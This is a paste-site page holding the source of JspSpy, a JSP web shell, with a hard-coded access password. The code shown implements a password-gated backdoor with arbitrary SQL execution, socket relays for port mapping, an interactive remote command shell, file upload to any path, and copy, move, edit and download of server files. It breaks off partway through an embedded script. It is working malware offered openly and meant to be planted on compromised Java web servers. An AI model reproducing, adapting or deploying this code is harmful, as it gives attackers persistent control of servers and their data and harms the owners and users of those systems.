Facebook
From Violet Wigeon, 4 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 231
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%@page import="javax.sql.DataSource"%>
  19. <%@page import="org.springframework.web.context.WebApplicationContext"%>
  20. <%@page import="org.springframework.web.context.support.WebApplicationContextUtils"%>
  21. <%!private static final String PW = "AdminAdmin.123"; //password
  22.         private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  23.         private static final String REQUEST_CHARSET = "ISO-8859-1";
  24.         private static final String PAGE_CHARSET = "UTF-8";
  25.         private static final String CURRENT_DIR = "currentdir";
  26.         private static final String MSG = "SHOWMSG";
  27.         private static final String PORT_MAP = "PMSA";
  28.         private static final String DBO = "DBO";
  29.         private static final String SHELL_ONLINE = "SHELL_ONLINE";
  30.         private static final String ENTER = "ENTER_FILE";
  31.         private static final String ENTER_MSG = "ENTER_FILE_MSG";
  32.         private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  33.         private static final String SESSION_O = "SESSION_O";
  34.         private static String SHELL_NAME = "";
  35.         private static String WEB_ROOT = null;
  36.         private static String SHELL_DIR = null;
  37.         public static Map ins = new HashMap();
  38.         private static boolean ISLINUX = false;
  39.        
  40.         private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  41.         private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  42.        
  43.         private static class MyRequest extends HttpServletRequestWrapper {
  44.                 public MyRequest(HttpServletRequest req) {
  45.                         super(req);
  46.                 }
  47.  
  48.                 public String getParameter(String name) {
  49.                         try {
  50.                                 String value = super.getParameter(name);
  51.                                 if (name == null)
  52.                                         return null;
  53.                                 return new String(value.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  54.                         } catch (Exception e) {
  55.                                 return null;
  56.                         }
  57.                 }
  58.         }
  59.  
  60.         private static class SpyClassLoader extends ClassLoader {
  61.                 public SpyClassLoader() {
  62.                 }
  63.  
  64.                 public Class defineClass(String name, byte[] b) {
  65.                         return super.defineClass(name, b, 0, b.length - 2);
  66.                 }
  67.         }
  68.  
  69.         private static class DBOperator implements Serializable {
  70.                 private Connection conn = null;
  71.                 private Statement stmt = null;
  72.                 private String driver;
  73.                 private String url;
  74.                 private String uid;
  75.                 private String pwd;
  76.                 private String dsStr;
  77.                 private DataSource dataSource;
  78.                 public DBOperator(DataSource dataSource,String dsStr,boolean connect){
  79.                         this.dataSource = dataSource;
  80.                         this.dsStr = dsStr;
  81.                         if (connect){
  82.                                 try{
  83.                                         this.conn = dataSource.getConnection();
  84.                                 }catch(SQLException e){
  85.                                         e.printStackTrace();
  86.                                 }
  87.                         }
  88.                                
  89.                 }
  90.                 public DBOperator(String driver, String url, String uid, String pwd)
  91.                                 throws Exception {
  92.                         this(driver, url, uid, pwd, false);
  93.                 }
  94.  
  95.                 public DBOperator(String driver, String url, String uid, String pwd,
  96.                                 boolean connect) throws Exception {
  97.                         Class.forName(driver);
  98.                         if (connect)
  99.                                 this.conn = DriverManager.getConnection(url, uid, pwd);
  100.                         this.url = url;
  101.                         this.driver = driver;
  102.                         this.uid = uid;
  103.                         this.pwd = pwd;
  104.                 }
  105.  
  106.                 public void connect() throws Exception {
  107.                         if(dataSource!=null){
  108.                                 this.conn = dataSource.getConnection();
  109.                         }else{
  110.                                 this.conn = DriverManager.getConnection(url, uid, pwd);
  111.                         }
  112.                 }
  113.  
  114.                 public Object execute(String sql) throws Exception {
  115.                         if (isValid()) {
  116.                                 stmt = conn.createStatement();
  117.                                 if (stmt.execute(sql)) {
  118.                                         return stmt.getResultSet();
  119.                                 } else {
  120.                                         return "" + stmt.getUpdateCount();
  121.                                 }
  122.                         }
  123.                         throw new Exception("Connection is inValid.");
  124.                 }
  125.  
  126.                 public void closeStmt() throws Exception {
  127.                         if (this.stmt != null)
  128.                                 stmt.close();
  129.                 }
  130.  
  131.                 public boolean isValid() throws Exception {
  132.                         return conn != null && !conn.isClosed();
  133.                 }
  134.  
  135.                 public void close() throws Exception {
  136.                         if (isValid()) {
  137.                                 closeStmt();
  138.                                 conn.close();
  139.                         }
  140.                 }
  141.  
  142.                 public boolean equals(Object o) {
  143.                         if (o instanceof DBOperator) {
  144.                                 DBOperator dbo = (DBOperator) o;
  145.                                 return this.driver.equals(dbo.driver)
  146.                                                 && this.url.equals(dbo.url) && this.uid.equals(dbo.uid)
  147.                                                 && this.pwd.equals(dbo.pwd);
  148.                         }
  149.                         return false;
  150.                 }
  151.  
  152.                 public Connection getConn() {
  153.                         return this.conn;
  154.                 }
  155.         }
  156.  
  157.         private static class StreamConnector extends Thread {
  158.                 private InputStream is;
  159.                 private OutputStream os;
  160.  
  161.                 public StreamConnector(InputStream is, OutputStream os) {
  162.                         this.is = is;
  163.                         this.os = os;
  164.                 }
  165.  
  166.                 public void run() {
  167.                         BufferedReader in = null;
  168.                         BufferedWriter out = null;
  169.                         try {
  170.                                 in = new BufferedReader(new InputStreamReader(this.is));
  171.                                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  172.                                 char buffer[] = new char[8192];
  173.                                 int length;
  174.                                 while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  175.                                         out.write(buffer, 0, length);
  176.                                         out.flush();
  177.                                 }
  178.                         } catch (Exception e) {
  179.                         }
  180.                         try {
  181.                                 if (in != null)
  182.                                         in.close();
  183.                                 if (out != null)
  184.                                         out.close();
  185.                         } catch (Exception e) {
  186.                         }
  187.                 }
  188.  
  189.                 public static void readFromLocal(final DataInputStream localIn,
  190.                                 final DataOutputStream remoteOut) {
  191.                         new Thread(new Runnable() {
  192.                                 public void run() {
  193.                                         while (true) {
  194.                                                 try {
  195.                                                         byte[] data = new byte[100];
  196.                                                         int len = localIn.read(data);
  197.                                                         while (len != -1) {
  198.                                                                 remoteOut.write(data, 0, len);
  199.                                                                 len = localIn.read(data);
  200.                                                         }
  201.                                                 } catch (Exception e) {
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.                                 }
  206.                         }).start();
  207.                 }
  208.  
  209.                 public static void readFromRemote(final Socket soc,
  210.                                 final Socket remoteSoc, final DataInputStream remoteIn,
  211.                                 final DataOutputStream localOut) {
  212.                         new Thread(new Runnable() {
  213.                                 public void run() {
  214.                                         while (true) {
  215.                                                 try {
  216.                                                         byte[] data = new byte[100];
  217.                                                         int len = remoteIn.read(data);
  218.                                                         while (len != -1) {
  219.                                                                 localOut.write(data, 0, len);
  220.                                                                 len = remoteIn.read(data);
  221.                                                         }
  222.                                                 } catch (Exception e) {
  223.                                                         try {
  224.                                                                 soc.close();
  225.                                                                 remoteSoc.close();
  226.                                                         } catch (Exception ex) {
  227.                                                         }
  228.                                                         break;
  229.                                                 }
  230.                                         }
  231.                                 }
  232.                         }).start();
  233.                 }
  234.         }
  235.  
  236.         private static class EnterFile extends File {
  237.                 private ZipFile zf = null;
  238.                 private ZipEntry entry = null;
  239.                 private boolean isDirectory = false;
  240.                 private String absolutePath = null;
  241.  
  242.                 public void setEntry(ZipEntry e) {
  243.                         this.entry = e;
  244.                 }
  245.  
  246.                 public void setAbsolutePath(String p) {
  247.                         this.absolutePath = p;
  248.                 }
  249.  
  250.                 public void close() throws Exception {
  251.                         this.zf.close();
  252.                 }
  253.  
  254.                 public void setZf(String p) throws Exception {
  255.                         if (p.toLowerCase().endsWith(".jar"))
  256.                                 this.zf = new JarFile(p);
  257.                         else
  258.                                 this.zf = new ZipFile(p);
  259.                 }
  260.  
  261.                 public EnterFile(File parent, String child) {
  262.                         super(parent, child);
  263.                 }
  264.  
  265.                 public EnterFile(String pathname) {
  266.                         super(pathname);
  267.                 }
  268.  
  269.                 public EnterFile(String pathname, boolean isDir) {
  270.                         this(pathname);
  271.                         this.isDirectory = isDir;
  272.                 }
  273.  
  274.                 public EnterFile(String parent, String child) {
  275.                         super(parent, child);
  276.                 }
  277.  
  278.                 public EnterFile(URI uri) {
  279.                         super(uri);
  280.                 }
  281.  
  282.                 public boolean exists() {
  283.                         return new File(this.zf.getName()).exists();
  284.                 }
  285.  
  286.                 public File[] listFiles() {
  287.                         java.util.List list = new ArrayList();
  288.                         java.util.List handled = new ArrayList();
  289.                         String currentDir = super.getPath();
  290.                         currentDir = currentDir.replace('\\', '/');
  291.                         if (currentDir.indexOf("/") == 0) {
  292.                                 if (currentDir.length() > 1)
  293.                                         currentDir = currentDir.substring(1);
  294.                                 else
  295.                                         currentDir = "";
  296.                         }
  297.                         Enumeration e = this.zf.entries();
  298.                         while (e.hasMoreElements()) {
  299.                                 ZipEntry entry = (ZipEntry) e.nextElement();
  300.                                 String eName = entry.getName();
  301.                                 if (this.zf instanceof JarFile) {
  302.                                         if (!entry.isDirectory()) {
  303.                                                 EnterFile ef = new EnterFile(eName);
  304.                                                 ef.setEntry(entry);
  305.                                                 try {
  306.                                                         ef.setZf(this.zf.getName());
  307.                                                 } catch (Exception ex) {
  308.                                                 }
  309.                                                 list.add(ef);
  310.                                         }
  311.                                 } else {
  312.                                         if (currentDir.equals("")) {
  313.                                                 //zip root directory
  314.                                                 if (eName.indexOf("/") == -1
  315.                                                                 || eName.matches("[^/]+/$")) {
  316.                                                         EnterFile ef = new EnterFile(eName.replaceAll("/",
  317.                                                                         ""));
  318.                                                         handled.add(eName.replaceAll("/", ""));
  319.                                                         ef.setEntry(entry);
  320.                                                         list.add(ef);
  321.                                                 } else {
  322.                                                         if (eName.indexOf("/") != -1) {
  323.                                                                 String tmp = eName.substring(0, eName
  324.                                                                                 .indexOf("/"));
  325.                                                                 if (!handled.contains(tmp)
  326.                                                                                 && !Util.isEmpty(tmp)) {
  327.                                                                         EnterFile ef = new EnterFile(tmp, true);
  328.                                                                         ef.setEntry(entry);
  329.                                                                         list.add(ef);
  330.                                                                         handled.add(tmp);
  331.                                                                 }
  332.                                                         }
  333.                                                 }
  334.                                         } else {
  335.                                                 if (eName.startsWith(currentDir)) {
  336.                                                         if (eName.matches(currentDir + "/[^/]+/?$")) {
  337.                                                                 //file.
  338.                                                                 EnterFile ef = new EnterFile(eName);
  339.                                                                 ef.setEntry(entry);
  340.                                                                 list.add(ef);
  341.                                                                 if (eName.endsWith("/")) {
  342.                                                                         String tmp = eName.substring(eName
  343.                                                                                         .lastIndexOf('/',
  344.                                                                                                         eName.length() - 2));
  345.                                                                         tmp = tmp.substring(1, tmp.length() - 1);
  346.                                                                         handled.add(tmp);
  347.                                                                 }
  348.                                                         } else {
  349.                                                                 //dir
  350.                                                                 try {
  351.                                                                         String tmp = eName.substring(currentDir
  352.                                                                                         .length() + 1);
  353.                                                                         tmp = tmp.substring(0, tmp.indexOf('/'));
  354.                                                                         if (!handled.contains(tmp)
  355.                                                                                         && !Util.isEmpty(tmp)) {
  356.                                                                                 EnterFile ef = new EnterFile(tmp, true);
  357.                                                                                 ef.setAbsolutePath(currentDir + "/"
  358.                                                                                                 + tmp);
  359.                                                                                 ef.setEntry(entry);
  360.                                                                                 list.add(ef);
  361.                                                                                 handled.add(tmp);
  362.                                                                         }
  363.                                                                 } catch (Exception ex) {
  364.                                                                 }
  365.                                                         }
  366.                                                 }
  367.                                         }
  368.                                 }
  369.                         }
  370.                         return (File[]) list.toArray(new File[0]);
  371.                 }
  372.  
  373.                 public boolean isDirectory() {
  374.                         return this.entry.isDirectory() || this.isDirectory;
  375.                 }
  376.  
  377.                 public String getParent() {
  378.                         return "";
  379.                 }
  380.  
  381.                 public String getAbsolutePath() {
  382.                         return absolutePath != null ? absolutePath : super.getPath();
  383.                 }
  384.  
  385.                 public String getName() {
  386.                         if (this.zf instanceof JarFile) {
  387.                                 return this.getAbsolutePath();
  388.                         } else {
  389.                                 return super.getName();
  390.                         }
  391.                 }
  392.  
  393.                 public long lastModified() {
  394.                         return entry.getTime();
  395.                 }
  396.  
  397.                 public boolean canRead() {
  398.                         return false;
  399.                 }
  400.  
  401.                 public boolean canWrite() {
  402.                         return false;
  403.                 }
  404.  
  405.                 public boolean canExecute() {
  406.                         return false;
  407.                 }
  408.  
  409.                 public long length() {
  410.                         return entry.getSize();
  411.                 }
  412.         }
  413.  
  414.         private static class OnLineProcess {
  415.                 private String cmd = "first";
  416.                 private Process pro;
  417.  
  418.                 public OnLineProcess(Process p) {
  419.                         this.pro = p;
  420.                 }
  421.  
  422.                 public void setPro(Process p) {
  423.                         this.pro = p;
  424.                 }
  425.  
  426.                 public void setCmd(String c) {
  427.                         this.cmd = c;
  428.                 }
  429.  
  430.                 public String getCmd() {
  431.                         return this.cmd;
  432.                 }
  433.  
  434.                 public Process getPro() {
  435.                         return this.pro;
  436.                 }
  437.  
  438.                 public void stop() {
  439.                         this.pro.destroy();
  440.                 }
  441.         }
  442.  
  443.         private static class OnLineConnector extends Thread {
  444.                 private OnLineProcess ol = null;
  445.                 private InputStream is;
  446.                 private OutputStream os;
  447.                 private String name;
  448.  
  449.                 public OnLineConnector(InputStream is, OutputStream os, String name,
  450.                                 OnLineProcess ol) {
  451.                         this.is = is;
  452.                         this.os = os;
  453.                         this.name = name;
  454.                         this.ol = ol;
  455.                 }
  456.  
  457.                 public void run() {
  458.                         BufferedReader in = null;
  459.                         BufferedWriter out = null;
  460.                         try {
  461.                                 in = new BufferedReader(new InputStreamReader(this.is));
  462.                                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  463.                                 char buffer[] = new char[128];
  464.                                 if (this.name.equals("exeRclientO")) {
  465.                                         //from exe to client
  466.                                         int length = 0;
  467.                                         while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  468.                                                 String str = new String(buffer, 0, length);
  469.                                                 str = str.replaceAll("&", "&amp;").replaceAll("<",
  470.                                                                 "&lt;").replaceAll(">", "&gt;");
  471.                                                 str = str.replaceAll("" + (char) 13 + (char) 10,
  472.                                                                 "<br/>");
  473.                                                 str = str.replaceAll("\n", "<br/>");
  474.                                                 out.write(str.toCharArray(), 0, str.length());
  475.                                                 out.flush();
  476.                                         }
  477.                                 } else {
  478.                                         //from client to exe
  479.                                         while (true) {
  480.                                                 while (this.ol.getCmd() == null) {
  481.                                                         Thread.sleep(500);
  482.                                                 }
  483.                                                 if (this.ol.getCmd().equals("first")) {
  484.                                                         this.ol.setCmd(null);
  485.                                                         continue;
  486.                                                 }
  487.                                                 this.ol.setCmd(this.ol.getCmd() + (char) 10);
  488.                                                 char[] arr = this.ol.getCmd().toCharArray();
  489.                                                 out.write(arr, 0, arr.length);
  490.                                                 out.flush();
  491.                                                 this.ol.setCmd(null);
  492.                                         }
  493.                                 }
  494.                         } catch (Exception e) {
  495.                         }
  496.                         try {
  497.                                 if (in != null)
  498.                                         in.close();
  499.                                 if (out != null)
  500.                                         out.close();
  501.                         } catch (Exception e) {
  502.                         }
  503.                 }
  504.         }
  505.  
  506.         private static class Table {
  507.                 private ArrayList rows = null;
  508.                 private boolean echoTableTag = false;
  509.  
  510.                 public void setEchoTableTag(boolean v) {
  511.                         this.echoTableTag = v;
  512.                 }
  513.  
  514.                 public Table() {
  515.                         this.rows = new ArrayList();
  516.                 }
  517.  
  518.                 public void addRow(Row r) {
  519.                         this.rows.add(r);
  520.                 }
  521.  
  522.                 public String toString() {
  523.                         StringBuffer html = new StringBuffer();
  524.                         if (echoTableTag)
  525.                                 html.append("<table>");
  526.                         for (int i = 0; i < rows.size(); i++) {
  527.                                 Row r = (Row) rows.get(i);
  528.                                 html
  529.                                                 .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  530.                                 ArrayList columns = r.getColumns();
  531.                                 for (int a = 0; a < columns.size(); a++) {
  532.                                         Column c = (Column) columns.get(a);
  533.                                         html.append("<td nowrap>");
  534.                                         String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  535.                                         if (vv.equals(""))
  536.                                                 vv = "&nbsp;";
  537.                                         html.append(vv);
  538.                                         html.append("</td>");
  539.                                 }
  540.                                 html.append("</tr>");
  541.                         }
  542.                         if (echoTableTag)
  543.                                 html.append("</table>");
  544.                         return html.toString();
  545.                 }
  546.  
  547.                 public static String rs2Table(ResultSet rs, String sep, boolean op)
  548.                                 throws Exception {
  549.                         StringBuffer table = new StringBuffer();
  550.                         ResultSetMetaData meta = rs.getMetaData();
  551.                         int count = meta.getColumnCount();
  552.                         if (!op)
  553.                                 table
  554.                                                 .append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  555.                         else
  556.                                 table
  557.                                                 .append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  558.                         table
  559.                                         .append("<script>function view(t){document.getElementById('sql').value='select * from "
  560.                                                         + sep + "'+t+'" + sep + "';}</script>");
  561.                         table
  562.                                         .append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  563.                         for (int i = 1; i <= count; i++) {
  564.                                 table.append("<td nowrap>" + meta.getColumnName(i) + "</td>");
  565.                         }
  566.                         if (op)
  567.                                 table.append("<td>&nbsp;</td>");
  568.                         table.append("</tr>");
  569.                         while (rs.next()) {
  570.                                 String tbName = null;
  571.                                 table
  572.                                                 .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  573.                                 for (int i = 1; i <= count; i++) {
  574.                                         String v = rs.getString(i);
  575.                                         if (i == 3)
  576.                                                 tbName = v;
  577.                                         table.append("<td nowrap>" + Util.null2Nbsp(v) + "</td>");
  578.                                 }
  579.                                 if (op)
  580.                                         table
  581.                                                         .append("<td nowrap> <a href=\"#\" onclick=\"view('"
  582.                                                                         + tbName
  583.                                                                         + "')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"
  584.                                                                         + tbName
  585.                                                                         + "'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"
  586.                                                                         + tbName
  587.                                                                         + "'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"
  588.                                                                         + tbName + "'})\">Save To File</a> </td>");
  589.                                 table.append("</tr>");
  590.                         }
  591.                         table.append("</table><br/>");
  592.                         return table.toString();
  593.                 }
  594.         }
  595.  
  596.         private static class Row {
  597.                 private ArrayList cols = null;
  598.  
  599.                 public Row() {
  600.                         this.cols = new ArrayList();
  601.                 }
  602.  
  603.                 public void addColumn(Column n) {
  604.                         this.cols.add(n);
  605.                 }
  606.  
  607.                 public ArrayList getColumns() {
  608.                         return this.cols;
  609.                 }
  610.         }
  611.  
  612.         private static class Column {
  613.                 private String value;
  614.  
  615.                 public Column(String v) {
  616.                         this.value = v;
  617.                 }
  618.  
  619.                 public String getValue() {
  620.                         return this.value;
  621.                 }
  622.         }
  623.  
  624.         private static class Util {
  625.                 public static boolean isEmpty(String s) {
  626.                         return s == null || s.trim().equals("");
  627.                 }
  628.  
  629.                 public static boolean isEmpty(Object o) {
  630.                         return o == null || isEmpty(o.toString());
  631.                 }
  632.  
  633.                 public static String getSize(long size, char danwei) {
  634.                         if (danwei == 'M') {
  635.                                 double v = formatNumber(size / 1024.0 / 1024.0, 2);
  636.                                 if (v > 1024) {
  637.                                         return getSize(size, 'G');
  638.                                 } else {
  639.                                         return v + "M";
  640.                                 }
  641.                         } else if (danwei == 'G') {
  642.                                 return formatNumber(size / 1024.0 / 1024.0 / 1024.0, 2) + "G";
  643.                         } else if (danwei == 'K') {
  644.                                 double v = formatNumber(size / 1024.0, 2);
  645.                                 if (v > 1024) {
  646.                                         return getSize(size, 'M');
  647.                                 } else {
  648.                                         return v + "K";
  649.                                 }
  650.                         } else if (danwei == 'B') {
  651.                                 if (size > 1024) {
  652.                                         return getSize(size, 'K');
  653.                                 } else {
  654.                                         return size + "B";
  655.                                 }
  656.                         }
  657.                         return "" + 0 + danwei;
  658.                 }
  659.  
  660.                 public static boolean exists(String[] arr, String v) {
  661.                         for (int i = 0; i < arr.length; i++) {
  662.                                 if (v.equals(arr[i])) {
  663.                                         return true;
  664.                                 }
  665.                         }
  666.                         return false;
  667.                 }
  668.  
  669.                 public static double formatNumber(double value, int l) {
  670.                         NumberFormat format = NumberFormat.getInstance();
  671.                         format.setMaximumFractionDigits(l);
  672.                         format.setGroupingUsed(false);
  673.                         return new Double(format.format(value)).doubleValue();
  674.                 }
  675.  
  676.                 public static boolean isInteger(String v) {
  677.                         if (isEmpty(v))
  678.                                 return false;
  679.                         return v.matches("^\\d+$");
  680.                 }
  681.  
  682.                 public static String formatDate(long time) {
  683.                         SimpleDateFormat format = new SimpleDateFormat(
  684.                                         "yyyy-MM-dd hh:mm:ss");
  685.                         return format.format(new java.util.Date(time));
  686.                 }
  687.  
  688.                 public static String convertPath(String path) {
  689.                         return path != null ? path.replace('\\', '/') : "";
  690.                 }
  691.  
  692.                 public static String htmlEncode(String v) {
  693.                         if (isEmpty(v))
  694.                                 return "";
  695.                         return v.replaceAll("&", "&amp;").replaceAll("<", "&lt;")
  696.                                         .replaceAll(">", "&gt;");
  697.                 }
  698.  
  699.                 public static String getStr(String s) {
  700.                         return s == null ? "" : s;
  701.                 }
  702.  
  703.                 public static String null2Nbsp(String s) {
  704.                         if (s == null)
  705.                                 s = "&nbsp;";
  706.                         return s;
  707.                 }
  708.  
  709.                 public static String getStr(Object s) {
  710.                         return s == null ? "" : s.toString();
  711.                 }
  712.  
  713.                 public static String exec(String regex, String str, int group) {
  714.                         Pattern pat = Pattern.compile(regex);
  715.                         Matcher m = pat.matcher(str);
  716.                         if (m.find())
  717.                                 return m.group(group);
  718.                         return null;
  719.                 }
  720.  
  721.                 public static void outMsg(Writer out, String msg) throws Exception {
  722.                         outMsg(out, msg, "center");
  723.                 }
  724.  
  725.                 public static void outMsg(Writer out, String msg, String align)
  726.                                 throws Exception {
  727.                         out
  728.                                         .write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"
  729.                                                         + align
  730.                                                         + ";font-weight:bold;margin:10px\">"
  731.                                                         + msg
  732.                                                         + "</div>");
  733.                 }
  734.  
  735.                 public static String highLight(String str) {
  736.                         str = str
  737.                                         .replaceAll(
  738.                                                         "\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b",
  739.                                                         "<span style='color:blue'>$1</span>");
  740.                         str = str.replaceAll("\t(//.+)",
  741.                                         "\t<span style='color:green'>$1</span>");
  742.                         return str;
  743.                 }
  744.         }
  745.  
  746.         private static class UploadBean {
  747.                 private String fileName = null;
  748.                 private String suffix = null;
  749.                 private String savePath = "";
  750.                 private ServletInputStream sis = null;
  751.                 private OutputStream targetOutput = null;
  752.                 private byte[] b = new byte[1024];
  753.  
  754.                 public void setTargetOutput(OutputStream stream) {
  755.                         this.targetOutput = stream;
  756.                 }
  757.  
  758.                 public UploadBean() {
  759.                 }
  760.  
  761.                 public void setSavePath(String path) {
  762.                         this.savePath = path;
  763.                 }
  764.  
  765.                 public String getFileName() {
  766.                         return this.fileName;
  767.                 }
  768.  
  769.                 public void parseRequest(HttpServletRequest request) throws IOException {
  770.                         sis = request.getInputStream();
  771.                         int a = 0;
  772.                         int k = 0;
  773.                         String s = "";
  774.                         while ((a = sis.readLine(b, 0, b.length)) != -1) {
  775.                                 s = new String(b, 0, a, PAGE_CHARSET);
  776.                                 if ((k = s.indexOf("filename=\"")) != -1) {
  777.                                         s = s.substring(k + 10);
  778.                                         k = s.indexOf("\"");
  779.                                         s = s.substring(0, k);
  780.                                         File tF = new File(s);
  781.                                         if (tF.isAbsolute()) {
  782.                                                 fileName = tF.getName();
  783.                                         } else {
  784.                                                 fileName = s;
  785.                                         }
  786.                                         k = s.lastIndexOf(".");
  787.                                         suffix = s.substring(k + 1);
  788.                                         upload();
  789.                                 }
  790.                         }
  791.                 }
  792.  
  793.                 private void upload() throws IOException {
  794.                         try {
  795.                                 OutputStream out = null;
  796.                                 if (this.targetOutput != null)
  797.                                         out = this.targetOutput;
  798.                                 else
  799.                                         out = new FileOutputStream(new File(savePath, fileName));
  800.                                 int a = 0;
  801.                                 int k = 0;
  802.                                 String s = "";
  803.                                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  804.                                         s = new String(b, 0, a);
  805.                                         if ((k = s.indexOf("Content-Type:")) != -1) {
  806.                                                 break;
  807.                                         }
  808.                                 }
  809.                                 sis.readLine(b, 0, b.length);
  810.                                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  811.                                         s = new String(b, 0, a);
  812.                                         if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45)
  813.                                                         && (b[3] == 45) && (b[4] == 45)) {
  814.                                                 break;
  815.                                         }
  816.                                         out.write(b, 0, a);
  817.                                 }
  818.                                 if (out instanceof FileOutputStream)
  819.                                         out.close();
  820.                         } catch (IOException ioe) {
  821.                                 throw ioe;
  822.                         }
  823.                 }
  824.         }%>
  825. <%
  826.  
  827.         SHELL_NAME = request.getServletPath().substring(
  828.                         request.getServletPath().lastIndexOf("/") + 1);
  829.         String myAbsolutePath = application.getRealPath(request
  830.                         .getServletPath());
  831.         if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  832.                 SHELL_NAME = request.getServletPath();
  833.                 myAbsolutePath = new File(application.getResource("/")
  834.                                 .getPath()
  835.                                 + SHELL_NAME).toString();
  836.                 SHELL_NAME = request.getContextPath() + SHELL_NAME;
  837.                 WEB_ROOT = new File(application.getResource("/").getPath())
  838.                                 .toString();
  839.         } else {
  840.                 WEB_ROOT = application.getRealPath("/");
  841.         }
  842.         SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,
  843.                         myAbsolutePath.lastIndexOf(File.separator)));
  844.         if (SHELL_DIR.indexOf('/') == 0)
  845.                 ISLINUX = true;
  846.         else
  847.                 ISLINUX = false;
  848.         if (session.getAttribute(CURRENT_DIR) == null)
  849.                 session.setAttribute(CURRENT_DIR, Util.convertPath(SHELL_DIR));
  850.         //request = new MyRequest(request);
  851.         if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null
  852.                         || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  853.                 String o = request.getParameter("o");
  854.                 if(o != null)
  855.                         o = new String(o.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  856.                 if (o != null && o.equals("login")) {
  857.                         ((Invoker) ins.get("login")).invoke(request, response,
  858.                                         session);
  859.                         return;
  860.                 } else if (o != null && o.equals("vLogin")) {
  861.                         ((Invoker) ins.get("vLogin")).invoke(request, response,
  862.                                         session);
  863.                         return;
  864.                 } else {
  865.                         ((Invoker) ins.get("vLogin")).invoke(request, response,
  866.                                         session);
  867.                         return;
  868.                 }
  869.         }
  870. %>
  871. <%!private static interface Invoker {
  872.                 public void invoke(HttpServletRequest request,
  873.                                 HttpServletResponse response, HttpSession JSession)
  874.                                 throws Exception;
  875.  
  876.                 public boolean doBefore();
  877.  
  878.                 public boolean doAfter();
  879.         }
  880.  
  881.         private static class DefaultInvoker implements Invoker {
  882.                 public void invoke(HttpServletRequest request,
  883.                                 HttpServletResponse response, HttpSession JSession)
  884.                                 throws Exception {
  885.                 }
  886.  
  887.                 public boolean doBefore() {
  888.                         return true;
  889.                 }
  890.  
  891.                 public boolean doAfter() {
  892.                         return true;
  893.                 }
  894.         }
  895.  
  896.         private static class ScriptInvoker extends DefaultInvoker {
  897.                 public void invoke(HttpServletRequest request,
  898.                                 HttpServletResponse response, HttpSession JSession)
  899.                                 throws Exception {
  900.                         try {
  901.                                 PrintWriter out = response.getWriter();
  902.                                 out
  903.                                                 .println("<script type=\"text/javascript\">"
  904.                                                                 + "     String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"
  905.                                                                 + "     function fso(obj) {"
  906.                                                                 + "             this.currentDir = '"
  907.                                                                 + JSession.getAttribute(CURRENT_DIR)
  908.                                                                 + "';"
  909.                                                                 + "             this.filename = obj.filename;"
  910.                                                                 + "             this.path = obj.path;"
  911.                                                                 + "             this.filetype = obj.filetype;"
  912.                                                                 + "             this.charset = obj.charset;"
  913.                                                                 + "     };"
  914.                                                                 + "     fso.prototype = {"
  915.                                                                 + "             copy:function(){"
  916.                                                                 + "                     var path = prompt('Copy To : ',this.path);"
  917.                                                                 + "                     if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  918.                                                                 + "                     doPost({o:'copy',src:this.path,to:path});"
  919.                                                                 + "             },"
  920.                                                                 + "             move:function() {"
  921.                                                                 + "                     var path =prompt('Move To : ',this.path);"
  922.                                                                 + "                     if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  923.                                                                 + "                     doPost({o:'move',src:this.path,to:path})"
  924.                                                                 + "             },"
  925.                                                                 + "             vEdit:function() {"
  926.                                                                 + "                     if (!this.charset)"
  927.                                                                 + "                             doPost({o:'vEdit',filepath:this.path});"
  928.                                                                 + "                     else"
  929.                                                                 + "                             doPost({o:'vEdit',filepath:this.path,charset:this.charset});"
  930.                                                                 + "             },"
  931.                                                                 + "             down:function() {"
  932.                                                                 + "                     doPost({o:'down',path:this.path})"
